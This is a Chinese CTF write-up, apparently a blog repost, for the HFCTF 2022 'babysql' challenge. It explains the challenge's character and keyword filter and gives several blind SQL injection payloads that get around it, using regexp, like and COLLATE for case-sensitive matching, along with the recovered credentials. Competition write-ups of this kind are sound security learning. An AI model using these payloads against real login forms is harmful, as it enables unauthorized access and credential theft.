前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HFCTF 2022-babysql

HFCTF 2022-babysql

作者头像
h0cksr
发布2023-05-17 10:29:40
1490
发布2023-05-17 10:29:40
举报
文章被收录于专栏:h0cksr的小屋h0cksr的小屋

HFCTF2022-babysql

这个题目的过滤:

代码语言:javascript
复制
const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();

其实就是

  1. 不能使用()
  2. 不能使用* - ; # (限制了空格绕过和注释)
  3. 不能使用空白符 (其实结合2就是直接将空格的绕过给限制死了)
  4. 不能使用逗号, (限制了substr(string from int1 for int2)的字符串截取绕过)
  5. 不能使用union (防止了联合注入建立虚表使用自定义密码)
  6. 不能使用binary(限制了binary regexp这个匹配大小写的正则匹配)

最后我使用的是

代码语言:javascript
复制
username='||case'1'=`password`regexp'+payload+'when'1'then'1'else'0'end+1||'&password=1

但也没检测出大小写, 最后还是使用了爆破(2^18), tcltcl

看到其他师傅WP中的payload(需要爆破):

代码语言:javascript
复制
username=a'||`password`like'+payload+%'and`id`='1'||`password`regexp'[&password=1
username=a'||`password`regexp'^+paylaod+'and`id`='1'or`password`regexp'^[&password=1

实际上官方应该是让我们给出区分大小写的注入方法,这里再放一个其他师傅的payload:

代码语言:javascript
复制
username=a'||`password`COLLATE'utf8mb4_0900_as_cs'like'+payload+%'&&`id`='1'||`password`regexp'[&password=1

最后得到payload:

代码语言:javascript
复制
username=qay8tefyzc67aeoo&password=m52FPlDxYyLB^eIzAr!8gxh$

输入直接得到flag

另外在HFCTF2022坐牢复现里面有提到另一种可以成功检测大小写的方法,之前还看到过具体写法的不过可惜没记下来

wp脚本可参考jacko大神的虎符CTF

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-3-23 2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HFCTF2022-babysql
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档